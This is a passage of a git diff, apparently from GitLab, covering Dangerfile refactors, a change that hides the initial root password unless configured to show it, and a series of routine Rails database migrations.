- end
- end
- #
- # Throttle the master from forking too quickly by sleeping. Due
- # to the implementation of standard Unix signal handlers, this
- # helps (but does not completely) prevent identical, repeated signals
- # from being lost when the receiving process is busy.
- # sleep 1
-end
-
-after_fork do |server, worker|
- # Signal application hooks of worker start
- Gitlab::Cluster::LifecycleEvents.do_worker_start
-
- # per-process listener ports for debugging/admin/migrations
- # addr = "127.0.0.1:#{9293 + worker.nr}"
- # server.listen(addr, :tries => -1, :delay => 5, :tcp_nopush => true)
-end
-
-# Configure the default logger to use a custom formatter that formats the
-# timestamps to be in UTC and in ISO8601.3 format
-Configurator::DEFAULTS[:logger].formatter = Gitlab::LogTimestampFormatter.new
diff --git a/danger/commit_messages/Dangerfile b/danger/commit_messages/Dangerfile
deleted file mode 100644
index ac3d41adcf4..00000000000
--- a/danger/commit_messages/Dangerfile
+++ /dev/null
@@ -1,147 +0,0 @@
-# frozen_string_literal: true
-
-require 'gitlab/dangerfiles/commit_linter'
-require 'gitlab/dangerfiles/merge_request_linter'
-
-COMMIT_MESSAGE_GUIDELINES = "https://docs.gitlab.com/ee/development/contributing/merge_request_workflow.html#commit-messages-guidelines"
-MORE_INFO = "For more information, take a look at our [Commit message guidelines](#{COMMIT_MESSAGE_GUIDELINES})."
-THE_DANGER_JOB_TEXT = "the `danger-review` job"
-MAX_COMMITS_COUNT = 10
-MAX_COMMITS_COUNT_EXCEEDED_MESSAGE = <<~MSG
-This merge request includes more than %<max_commits_count>d commits. Each commit should meet the following criteria:
-
-1. Have a well-written commit message.
-1. Has all tests passing when used on its own (e.g. when using git checkout SHA).
-1. Can be reverted on its own without also requiring the revert of commit that came before it.
-1. Is small enough that it can be reviewed in isolation in under 30 minutes or so.
-
-If this merge request contains commits that do not meet this criteria and/or contains intermediate work, please rebase these commits into a smaller number of commits or split this merge request into multiple smaller merge requests.
-MSG
-
-def fail_commit(commit, message, more_info: true)
- self.fail(build_message(commit, message, more_info: more_info))
-end
-
-def warn_commit(commit, message, more_info: true)
- self.warn(build_message(commit, message, more_info: more_info))
-end
-
-def build_message(commit, message, more_info: true)
- [message].tap do |full_message|
- full_message << ". #{MORE_INFO}" if more_info
- full_message.unshift("#{commit.sha}: ") if commit.sha
- end.join
-end
-
-def squash_mr?
- # Locally, we assume the MR is set to be squashed so that the user only sees warnings instead of errors.
- helper.ci? ? gitlab.mr_json['squash'] : true
-end
-
-def wip_mr?
- helper.ci? ? gitlab.mr_json['work_in_progress'] : false
-end
-
-def danger_job_link
- helper.ci? ? "[#{THE_DANGER_JOB_TEXT}](#{ENV['CI_JOB_URL']})" : THE_DANGER_JOB_TEXT
-end
-
-# Perform various checks against commits. We're not using
-# https://github.com/jonallured/danger-commit_lint because its output is not
-# very helpful, and it doesn't offer the means of ignoring merge commits.
-def lint_commit(commit)
- linter = Gitlab::Dangerfiles::CommitLinter.new(commit)
-
- # For now we'll ignore merge commits, as getting rid of those is a problem
- # separate from enforcing good commit messages.
- return linter if linter.merge?
-
- # We ignore revert commits as they are well structured by Git already
- return linter if linter.revert?
-
- # If MR is set to squash, we ignore fixup commits
- return linter if linter.fixup? && squash_mr?
-
- if linter.fixup?
- msg = "Squash or fixup commits must be squashed before merge, or enable squash merge option and re-run #{danger_job_link}."
- if wip_mr? || squash_mr?
- warn_commit(commit, msg, more_info: false)
- else
- fail_commit(commit, msg, more_info: false)
- end
-
- # Makes no sense to process other rules for fixup commits, they trigger just more noise
- return linter
- end
-
- # Fail if a suggestion commit is used and squash is not enabled
- if linter.suggestion?
- unless squash_mr?
- fail_commit(commit, "If you are applying suggestions, enable squash in the merge request and re-run #{danger_job_link}.", more_info: false)
- end
-
- return linter
- end
-
- linter.lint
-end
-
-def lint_mr_title(mr_title)
- commit = Struct.new(:message, :sha).new(mr_title)
-
- Gitlab::Dangerfiles::MergeRequestLinter.new(commit).lint
-end
-
-def count_non_fixup_commits(commit_linters)
- commit_linters.count { |commit_linter| !commit_linter.fixup? }
-end
-
-def lint_commits(commits)
- commit_linters = commits.map { |commit| lint_commit(commit) }
-
- if squash_mr?
- multi_line_commit_linter = commit_linters.detect { |commit_linter| !commit_linter.merge? && commit_linter.multi_line? }
-
- if multi_line_commit_linter && multi_line_commit_linter.failed?
- warn_or_fail_commits(multi_line_commit_linter)
- commit_linters.delete(multi_line_commit_linter) # Don't show an error (here) and a warning (below)
- elsif helper.ci? # We don't have access to the MR title locally
- title_linter = lint_mr_title(gitlab.mr_json['title'])
- if title_linter.failed?
- warn_or_fail_commits(title_linter)
- end
- end
- else
- if count_non_fixup_commits(commit_linters) > MAX_COMMITS_COUNT
- self.warn(format(MAX_COMMITS_COUNT_EXCEEDED_MESSAGE, max_commits_count: MAX_COMMITS_COUNT))
- end
- end
-
- failed_commit_linters = commit_linters.select { |commit_linter| commit_linter.failed? }
- warn_or_fail_commits(failed_commit_linters, default_to_fail: !squash_mr?)
-end
-
-def warn_or_fail_commits(failed_linters, default_to_fail: true)
- level = default_to_fail ? :fail : :warn
-
- Array(failed_linters).each do |linter|
- linter.problems.each do |problem_key, problem_desc|
- case problem_key
- when :subject_too_short, :subject_above_warning, :details_too_many_changes, :details_line_too_long
- warn_commit(linter.commit, problem_desc)
- else
- self.__send__("#{level}_commit", linter.commit, problem_desc) # rubocop:disable GitlabSecurity/PublicSend
- end
- end
- end
-end
-
-# As part of https://gitlab.com/groups/gitlab-org/-/epics/4826 we are
-# vendoring workhorse commits from the stand-alone gitlab-workhorse
-# repo. There is no point in linting commits that we want to vendor as
-# is.
-def workhorse_changes?
- git.diff.any? { |file| file.path.start_with?('workhorse/') }
-end
-
-lint_commits(git.commits) unless workhorse_changes?
diff --git a/danger/feature_flag/Dangerfile b/danger/feature_flag/Dangerfile
index 88ce6393b64..bf2194724fc 100644
--- a/danger/feature_flag/Dangerfile
+++ b/danger/feature_flag/Dangerfile
@@ -53,14 +53,22 @@ def message_for_feature_flag_with_group!(feature_flag:, mr_group_label:)
end
end
+def feature_flag_file_added?
+ feature_flag.feature_flag_files(change_type: :added).any?
+end
+
def feature_flag_file_added_or_removed?
- feature_flag.feature_flag_files(change_type: :added).any? || feature_flag.feature_flag_files(change_type: :deleted).any?
+ feature_flag_file_added? || feature_flag.feature_flag_files(change_type: :deleted).any?
end
feature_flag.feature_flag_files(change_type: :added).each do |feature_flag|
check_feature_flag_yaml(feature_flag)
end
+if helper.security_mr? && feature_flag_file_added?
+ fail "Feature flags are discouraged from security merge requests. Read the [security documentation](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/utilities/feature_flags.md) for details."
+end
+
if feature_flag_file_added_or_removed?
new_mr_title = helper.mr_title.dup
new_mr_title << ' [RUN ALL RSPEC]' unless helper.run_all_rspec_mr?
diff --git a/danger/plugins/product_intelligence.rb b/danger/plugins/product_intelligence.rb
new file mode 100644
index 00000000000..91551a8312f
--- /dev/null
+++ b/danger/plugins/product_intelligence.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+require_relative '../../tooling/danger/product_intelligence'
+
+module Danger
+ class ProductIntelligence < ::Danger::Plugin
+ # Put the helper code somewhere it can be tested
+ include Tooling::Danger::ProductIntelligence
+ end
+end
diff --git a/danger/product_intelligence/Dangerfile b/danger/product_intelligence/Dangerfile
index 3867aed84d5..5469e8a87a5 100644
--- a/danger/product_intelligence/Dangerfile
+++ b/danger/product_intelligence/Dangerfile
@@ -18,82 +18,16 @@ UPDATE_DICTIONARY_MESSAGE = <<~MSG
```
MSG
-all_changed_files = helper.all_changed_files
+# exit if not matching files
+matching_changed_files = product_intelligence.matching_changed_files
+return unless matching_changed_files.any?
-tracking_files = [
- 'lib/gitlab/tracking.rb',
- 'spec/lib/gitlab/tracking_spec.rb',
- 'app/helpers/tracking_helper.rb',
- 'spec/helpers/tracking_helper_spec.rb',
- 'app/assets/javascripts/tracking.js',
- 'spec/frontend/tracking_spec.js',
- 'generator_templates/usage_metric_definition/metric_definition.yml',
- 'lib/generators/gitlab/usage_metric_definition_generator.rb',
- 'lib/generators/gitlab/usage_metric_definition/redis_hll_generator.rb',
- 'spec/lib/generators/gitlab/usage_metric_definition_generator_spec.rb',
- 'spec/lib/generators/gitlab/usage_metric_definition/redis_hll_generator_spec.rb',
- 'config/metrics/schema.json'
-]
+warn format(CHANGED_FILES_MESSAGE, changed_files: helper.markdown_list(matching_changed_files))
+fail format(UPDATE_DICTIONARY_MESSAGE) if product_intelligence.need_dictionary_changes?
-tracking_changed_files = all_changed_files & tracking_files
-usage_data_changed_files = all_changed_files.grep(%r{(usage_data)})
-dictionary_changed_file = all_changed_files.grep(%r{(doc/development/usage_ping/dictionary.md)})
-metrics_changed_files = all_changed_files.grep(%r{((ee/)?config/metrics/.*\.yml)})
+labels = product_intelligence.missing_labels
+return unless labels.any?
-def matching_files?(file, extension:, pattern:)
- return unless file.end_with?(extension)
-
- helper.changed_lines(file).grep(pattern).any?
-end
-
-js_patterns = Regexp.union(
- 'Tracking.event',
- /\btrack\(/,
- 'data-track-event',
- 'data-track-action'
-)
-
-dictionary_pattern = Regexp.union(
- 'key_path:',
- 'description:',
- 'product_section:',
- 'product_stage:',
- 'product_group:',
- 'status:',
- 'tier:'
-)
-
-snowplow_changed_files = all_changed_files.select do |file|
- matching_files?(file, extension: '.rb', pattern: %r{Gitlab::Tracking\.event}) ||
- matching_files?(file, extension: '.js', pattern: js_patterns) ||
- matching_files?(file, extension: '.vue', pattern: js_patterns) ||
- matching_files?(file, extension: '.haml', pattern: %r{data: \{ track})
-end
-
-required_dictionary_update_changed_files = metrics_changed_files.select do |file|
- matching_files?(file, extension: '.yml', pattern: dictionary_pattern)
-end
-
-matching_changed_files = usage_data_changed_files +
- tracking_changed_files +
- metrics_changed_files +
- dictionary_changed_file +
- snowplow_changed_files
-
-if matching_changed_files.any?
- warn format(CHANGED_FILES_MESSAGE, changed_files: helper.markdown_list(matching_changed_files))
-
- fail format(UPDATE_DICTIONARY_MESSAGE) if required_dictionary_update_changed_files.any? && dictionary_changed_file.empty?
-
- return unless helper.ci?
-
- labels = []
- labels << 'product intelligence' unless helper.mr_has_labels?('product intelligence')
- labels << 'product intelligence::review pending' unless helper.mr_has_labels?(['product intelligence::approved', 'product intelligence::review pending'])
-
- if labels.any?
- gitlab.api.update_merge_request(gitlab.mr_json['project_id'],
+gitlab.api.update_merge_request(gitlab.mr_json['project_id'],
gitlab.mr_json['iid'],
add_labels: labels)
- end
-end
diff --git a/danger/roulette/Dangerfile b/danger/roulette/Dangerfile
index 06d2929cd54..c8ea494bc41 100644
--- a/danger/roulette/Dangerfile
+++ b/danger/roulette/Dangerfile
@@ -2,15 +2,21 @@
require 'digest/md5'
-MESSAGE = <<MARKDOWN
+REVIEW_ROULETTE_SECTION = <<MARKDOWN
## Reviewer roulette
+MARKDOWN
+
+CATEGORY_TABLE = <<MARKDOWN
+
+Changes that require review have been detected!
-Changes that require review have been detected! A merge request is normally
-reviewed by both a reviewer and a maintainer in its primary category (e.g.
-~frontend or ~backend), and by a maintainer in all other categories.
+Please refer to the table below for assigning reviewers and maintainers suggested by Danger in the specified category:
+
+| Category | Reviewer | Maintainer |
+| -------- | -------- | ---------- |
MARKDOWN
-CATEGORY_TABLE_HEADER = <<MARKDOWN
+POST_TABLE_MESSAGE = <<MARKDOWN
To spread load more evenly across eligible reviewers, Danger has picked a candidate for each
review slot, based on their timezone. Feel free to
@@ -26,12 +32,15 @@ Please consider assigning a reviewer or maintainer who is a
Once you've decided who will review this merge request, assign them as a reviewer!
Danger does not automatically notify them for you.
+MARKDOWN
-| Category | Reviewer | Maintainer |
-| -------- | -------- | ---------- |
+NO_SUGGESTIONS = <<MARKDOWN
+
+There are no reviewer and maintainer suggestions for the changes in this MR.
MARKDOWN
UNKNOWN_FILES_MESSAGE = <<MARKDOWN
+### Uncategorised files
These files couldn't be categorised, so Danger was unable to suggest a reviewer.
Please consider creating a merge request to
@@ -99,8 +108,14 @@ if changes.any?
markdown_row_for_spins(spin.category, [spin])
end
- markdown(MESSAGE)
- markdown(CATEGORY_TABLE_HEADER + rows.join("\n")) unless rows.empty?
+ markdown(REVIEW_ROULETTE_SECTION)
+
+ if rows.empty?
+ markdown(NO_SUGGESTIONS)
+ else
+ markdown(CATEGORY_TABLE + rows.join("\n"))
+ markdown(POST_TABLE_MESSAGE)
+ end
unknown = changes.fetch(:unknown, [])
markdown(UNKNOWN_FILES_MESSAGE + helper.markdown_list(unknown)) unless unknown.empty?
diff --git a/db/fixtures/production/002_admin.rb b/db/fixtures/production/002_admin.rb
index 1c7c89f7bbd..b6a6da3a188 100644
--- a/db/fixtures/production/002_admin.rb
+++ b/db/fixtures/production/002_admin.rb
@@ -23,7 +23,11 @@ if user.persisted?
puts "login: root".color(:green)
if user_args.key?(:password)
- puts "password: #{user_args[:password]}".color(:green)
+ if ::Settings.gitlab['display_initial_root_password']
+ puts "password: #{user_args[:password]}".color(:green)
+ else
+ puts "password: *** - You opted not to display initial root password to STDOUT."
+ end
else
puts "password: You'll be prompted to create one on your first visit.".color(:green)
end
diff --git a/db/migrate/20210331000934_add_config_to_ci_runners.rb b/db/migrate/20210331000934_add_config_to_ci_runners.rb
new file mode 100644
index 00000000000..e9a5fadc613
--- /dev/null
+++ b/db/migrate/20210331000934_add_config_to_ci_runners.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+class AddConfigToCiRunners < ActiveRecord::Migration[6.0]
+ def change
+ add_column :ci_runners, :config, :jsonb, default: {}, null: false
+ end
+end
diff --git a/db/migrate/20210430121522_initialize_conversion_of_ci_build_trace_sections_to_bigint.rb b/db/migrate/20210430121522_initialize_conversion_of_ci_build_trace_sections_to_bigint.rb
new file mode 100644
index 00000000000..c51ae67ebee
--- /dev/null
+++ b/db/migrate/20210430121522_initialize_conversion_of_ci_build_trace_sections_to_bigint.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class InitializeConversionOfCiBuildTraceSectionsToBigint < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ TABLE = :ci_build_trace_sections
+ COLUMN = :build_id
+
+ def up
+ initialize_conversion_of_integer_to_bigint(TABLE, COLUMN, primary_key: COLUMN)
+ end
+
+ def down
+ revert_initialize_conversion_of_integer_to_bigint(TABLE, COLUMN)
+ end
+end
diff --git a/db/migrate/20210504143128_add_verification_state_and_started_at_to_mr_diff_details_table.rb b/db/migrate/20210504143128_add_verification_state_and_started_at_to_mr_diff_details_table.rb
new file mode 100644
index 00000000000..7999ea14a12
--- /dev/null
+++ b/db/migrate/20210504143128_add_verification_state_and_started_at_to_mr_diff_details_table.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+class AddVerificationStateAndStartedAtToMrDiffDetailsTable < ActiveRecord::Migration[6.0]
+ def change
+ change_table(:merge_request_diff_details) do |t|
+ t.integer :verification_state, default: 0, limit: 2, null: false
+ t.column :verification_started_at, :datetime_with_timezone
+ end
+ end
+end
diff --git a/db/migrate/20210505070612_create_packages_debian_group_distribution_keys.rb b/db/migrate/20210505070612_create_packages_debian_group_distribution_keys.rb
new file mode 100644
index 00000000000..1e79b4e29b0
--- /dev/null
+++ b/db/migrate/20210505070612_create_packages_debian_group_distribution_keys.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+class CreatePackagesDebianGroupDistributionKeys < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ INDEX_DISTRIBUTION = 'idx_pkgs_debian_group_distribution_keys_on_distribution_id'
+
+ disable_ddl_transaction!
+
+ def up
+ create_table_with_constraints :packages_debian_group_distribution_keys do |t|
+ t.timestamps_with_timezone
+ t.references :distribution,
+ foreign_key: { to_table: :packages_debian_group_distributions, on_delete: :cascade },
+ index: { name: INDEX_DISTRIBUTION },
+ null: false
+
+ t.text :encrypted_private_key, null: false
+ t.text :encrypted_private_key_iv, null: false
+ t.text :encrypted_passphrase, null: false
+ t.text :encrypted_passphrase_iv, null: false
+ t.text :public_key, null: false
+ t.text :fingerprint, null: false
+
+ t.text_limit :public_key, 512.kilobytes
+ t.text_limit :fingerprint, 255
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :packages_debian_group_distribution_keys
+ end
+ end
+end
diff --git a/db/migrate/20210505070812_create_packages_debian_project_distribution_keys.rb b/db/migrate/20210505070812_create_packages_debian_project_distribution_keys.rb
new file mode 100644
index 00000000000..f5ec01ec0d6
--- /dev/null
+++ b/db/migrate/20210505070812_create_packages_debian_project_distribution_keys.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+class CreatePackagesDebianProjectDistributionKeys < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ INDEX_DISTRIBUTION = 'idx_pkgs_debian_project_distribution_keys_on_distribution_id'
+
+ disable_ddl_transaction!
+
+ def up
+ create_table_with_constraints :packages_debian_project_distribution_keys do |t|
+ t.timestamps_with_timezone
+ t.references :distribution,
+ foreign_key: { to_table: :packages_debian_project_distributions, on_delete: :cascade },
+ index: { name: INDEX_DISTRIBUTION },
+ null: false
+
+ t.text :encrypted_private_key, null: false
+ t.text :encrypted_private_key_iv, null: false
+ t.text :encrypted_passphrase, null: false
+ t.text :encrypted_passphrase_iv, null: false
+ t.text :public_key, null: false
+ t.text :fingerprint, null: false
+
+ t.text_limit :public_key, 512.kilobytes
+ t.text_limit :fingerprint, 255
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :packages_debian_project_distribution_keys
+ end
+ end
+end
diff --git a/db/migrate/20210505170152_add_verification_indexes_to_merge_request_diff_details_table.rb b/db/migrate/20210505170152_add_verification_indexes_to_merge_request_diff_details_table.rb
new file mode 100644
index 00000000000..e85a28e3fa7
--- /dev/null
+++ b/db/migrate/20210505170152_add_verification_indexes_to_merge_request_diff_details_table.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+class AddVerificationIndexesToMergeRequestDiffDetailsTable < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ VERIFICATION_STATE_INDEX_NAME = "index_merge_request_diff_details_on_verification_state"
+ PENDING_VERIFICATION_INDEX_NAME = "index_merge_request_diff_details_pending_verification"
+ FAILED_VERIFICATION_INDEX_NAME = "index_merge_request_diff_details_failed_verification"
+ NEEDS_VERIFICATION_INDEX_NAME = "index_merge_request_diff_details_needs_verification"
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :merge_request_diff_details, :verification_state, name: VERIFICATION_STATE_INDEX_NAME
+ add_concurrent_index :merge_request_diff_details, :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
+ add_concurrent_index :merge_request_diff_details, :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
+ add_concurrent_index :merge_request_diff_details, :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :merge_request_diff_details, VERIFICATION_STATE_INDEX_NAME
+ remove_concurrent_index_by_name :merge_request_diff_details, PENDING_VERIFICATION_INDEX_NAME
+ remove_concurrent_index_by_name :merge_request_diff_details, FAILED_VERIFICATION_INDEX_NAME
+ remove_concurrent_index_by_name :merge_request_diff_details, NEEDS_VERIFICATION_INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210506150833_create_vulnerability_finding_evidence_headers.rb b/db/migrate/20210506150833_create_vulnerability_finding_evidence_headers.rb
new file mode 100644
index 00000000000..0e584303e51
--- /dev/null
+++ b/db/migrate/20210506150833_create_vulnerability_finding_evidence_headers.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+class CreateVulnerabilityFindingEvidenceHeaders < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ create_table_with_constraints :vulnerability_finding_evidence_headers do |t|
+ t.timestamps_with_timezone null: false
+
+ t.references :vulnerability_finding_evidence_request, index: { name: 'finding_evidence_header_on_finding_evidence_request_id' }, null: true, foreign_key: { on_delete: :cascade }
+ t.references :vulnerability_finding_evidence_response, index: { name: 'finding_evidence_header_on_finding_evidence_response_id' }, null: true, foreign_key: { on_delete: :cascade }
+ t.text :name, null: false
+ t.text :value, null: false
+
+ t.text_limit :name, 255
+ t.text_limit :value, 8192
+ end
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :vulnerability_finding_evidence_headers
+ end
+ end
+end
diff --git a/db/migrate/20210507191949_add_remove_on_issue_close_to_labels.rb b/db/migrate/20210507191949_add_remove_on_issue_close_to_labels.rb
index 107388fe533..131edb20164 100644
--- a/db/migrate/20210507191949_add_remove_on_issue_close_to_labels.rb
+++ b/db/migrate/20210507191949_add_remove_on_issue_close_to_labels.rb
@@ -1,17 +1,11 @@
# frozen_string_literal: true
class AddRemoveOnIssueCloseToLabels < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
+ # This migration was reverted in https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62056
def up
- with_lock_retries do
- add_column :labels, :remove_on_close, :boolean, null: false, default: false
- end
end
def down
- with_lock_retries do
- remove_column :labels, :remove_on_close, :boolean
- end
end
end
diff --git a/db/migrate/20210510083845_add_sha_to_status_check_response.rb b/db/migrate/20210510083845_add_sha_to_status_check_response.rb
new file mode 100644
index 00000000000..202f5ca00c1
--- /dev/null
+++ b/db/migrate/20210510083845_add_sha_to_status_check_response.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class AddShaToStatusCheckResponse < ActiveRecord::Migration[6.0]
+ def up
+ execute('DELETE FROM status_check_responses')
+
+ add_column :status_check_responses, :sha, :binary, null: false # rubocop:disable Rails/NotNullColumn
+ end
+
+ def down
+ remove_column :status_check_responses, :sha
+ end
+end
diff --git a/db/migrate/20210511165250_add_foreign_key_to_lfs_objects_projects.rb b/db/migrate/20210511165250_add_foreign_key_to_lfs_objects_projects.rb
new file mode 100644
index 00000000000..4163499a553
--- /dev/null
+++ b/db/migrate/20210511165250_add_foreign_key_to_lfs_objects_projects.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddForeignKeyToLfsObjectsProjects < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :lfs_objects_projects, :lfs_objects, column: :lfs_object_id, on_delete: :restrict, validate: false
+ add_concurrent_foreign_key :lfs_objects_projects, :projects, column: :project_id, on_delete: :cascade, validate: false
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :lfs_objects_projects, column: :lfs_object_id
+ remove_foreign_key :lfs_objects_projects, column: :project_id
+ end
+ end
+end
diff --git a/db/migrate/20210512120122_add_pending_builds_table.rb b/db/migrate/20210512120122_add_pending_builds_table.rb
new file mode 100644
index 00000000000..38e13d43b38
--- /dev/null
+++ b/db/migrate/20210512120122_add_pending_builds_table.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class AddPendingBuildsTable < ActiveRecord::Migration[6.0]
+ def up
+ create_table :ci_pending_builds do |t|
+ t.references :build, index: { unique: true }, null: false, foreign_key: { to_table: :ci_builds, on_delete: :cascade }
+ t.references :project, index: true, null: false, foreign_key: { on_delete: :cascade }
+ t.datetime_with_timezone :created_at, null: false, default: -> { 'NOW()' }
+ end
+ end
+
+ def down
+ drop_table :ci_pending_builds
+ end
+end
diff --git a/db/migrate/20210517130723_make_snapshot_segment_id_optional.rb b/db/migrate/20210517130723_make_snapshot_segment_id_optional.rb
new file mode 100644
index 00000000000..a05be71a243
--- /dev/null
+++ b/db/migrate/20210517130723_make_snapshot_segment_id_optional.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+class MakeSnapshotSegmentIdOptional < ActiveRecord::Migration[6.0]
+ def up
+ change_column_null(:analytics_devops_adoption_snapshots, :segment_id, true)
+ end
+
+ def down
+ change_column_null(:analytics_devops_adoption_snapshots, :segment_id, false)
+ end
+end
diff --git a/db/migrate/20210517144856_require_snapshot_namespace.rb b/db/migrate/20210517144856_require_snapshot_namespace.rb
new file mode 100644
index 00000000000..ec25c13383f
--- /dev/null
+++ b/db/migrate/20210517144856_require_snapshot_namespace.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require Rails.root.join('db', 'post_migrate', '20210430134202_copy_adoption_snapshot_namespace.rb')
+
+class RequireSnapshotNamespace < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ CopyAdoptionSnapshotNamespace.new.up
+
+ add_not_null_constraint(:analytics_devops_adoption_snapshots, :namespace_id)
+ end
+
+ def down
+ remove_not_null_constraint(:analytics_devops_adoption_snapshots, :namespace_id)
+ end
+end
diff --git a/db/migrate/20210517221612_add_default_value_to_merge_requests_author_approval_on_projects.rb b/db/migrate/20210517221612_add_default_value_to_merge_requests_author_approval_on_projects.rb
new file mode 100644
index 00000000000..1c017a366c8
--- /dev/null
+++ b/db/migrate/20210517221612_add_default_value_to_merge_requests_author_approval_on_projects.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class AddDefaultValueToMergeRequestsAuthorApprovalOnProjects < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ with_lock_retries do
+ change_column_default :projects, :merge_requests_author_approval, false
+ end
+ end
+
+ def down
+ with_lock_retries do
+ change_column_default :projects, :merge_requests_author_approval, nil
+ end
+ end
+end
diff --git a/db/migrate/20210519132109_initialize_conversion_of_ci_builds_metadata_to_bigint.rb b/db/migrate/20210519132109_initialize_conversion_of_ci_builds_metadata_to_bigint.rb
new file mode 100644
index 00000000000..7ff0276b4b5
--- /dev/null
+++ b/db/migrate/20210519132109_initialize_conversion_of_ci_builds_metadata_to_bigint.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class InitializeConversionOfCiBuildsMetadataToBigint < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ TABLE = :ci_builds_metadata
+ COLUMN = :build_id
+
+ def up
+ initialize_conversion_of_integer_to_bigint(TABLE, COLUMN)
+ end
+
+ def down
+ revert_initialize_conversion_of_integer_to_bigint(TABLE, COLUMN)
+ end
+end
diff --git a/db/migrate/20210520102039_group_protected_environments_add_column.rb b/db/migrate/20210520102039_group_protected_environments_add_column.rb
new file mode 100644
index 00000000000..642e22c5f48
--- /dev/null
+++ b/db/migrate/20210520102039_group_protected_environments_add_column.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+class GroupProtectedEnvironmentsAddColumn < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ def up
+ add_column :protected_environments, :group_id, :bigint
+ change_column_null :protected_environments, :project_id, true
+ end
+
+ def down
+ change_column_null :protected_environments, :project_id, false
+ remove_column :protected_environments, :group_id
+ end
+end
diff --git a/db/migrate/20210520133032_initialize_conversion_of_taggings_to_bigint.rb b/db/migrate/20210520133032_initialize_conversion_of_taggings_to_bigint.rb
new file mode 100644
index 00000000000..e154c25b082
--- /dev/null
+++ b/db/migrate/20210520133032_initialize_conversion_of_taggings_to_bigint.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class InitializeConversionOfTaggingsToBigint < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ TABLE = :taggings
+ COLUMNS = %i(id taggable_id)
+
+ def up
+ initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
+ end
+
+ def down
+ revert_initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
+ end
+end
diff --git a/db/migrate/20210520133440_backfill_taggings_for_bigint_conversion.rb b/db/migrate/20210520133440_backfill_taggings_for_bigint_conversion.rb
new file mode 100644
index 00000000000..63ac308e4be
--- /dev/null
+++ b/db/migrate/20210520133440_backfill_taggings_for_bigint_conversion.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class BackfillTaggingsForBigintConversion < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ TABLE = :taggings
+ COLUMNS = %i(id taggable_id)
+
+ def up
+ backfill_conversion_of_integer_to_bigint TABLE, COLUMNS, batch_size: 15000, sub_batch_size: 100
+ end
+
+ def down
+ revert_backfill_conversion_of_integer_to_bigint TABLE, COLUMNS
+ end
+end
diff --git a/db/migrate/20210521073920_drop_devops_adoption_namespace_uniqueness.rb b/db/migrate/20210521073920_drop_devops_adoption_namespace_uniqueness.rb
new file mode 100644
index 00000000000..d255ce844e2
--- /dev/null
+++ b/db/migrate/20210521073920_drop_devops_adoption_namespace_uniqueness.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class DropDevopsAdoptionNamespaceUniqueness < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ INDEX_NAME = 'index_analytics_devops_adoption_segments_on_namespace_id'
+ NEW_INDEX_NAME = 'idx_analytics_devops_adoption_segments_on_namespace_id'
+
+ def up
+ add_concurrent_index :analytics_devops_adoption_segments, :namespace_id, name: NEW_INDEX_NAME
+ remove_concurrent_index_by_name :analytics_devops_adoption_segments, INDEX_NAME
+ end
+
+ def down
+ # Clean up duplicated records
+ execute "DELETE FROM analytics_devops_adoption_segments WHERE id NOT IN (SELECT MIN(id) FROM analytics_devops_adoption_segments GROUP BY namespace_id)"
+
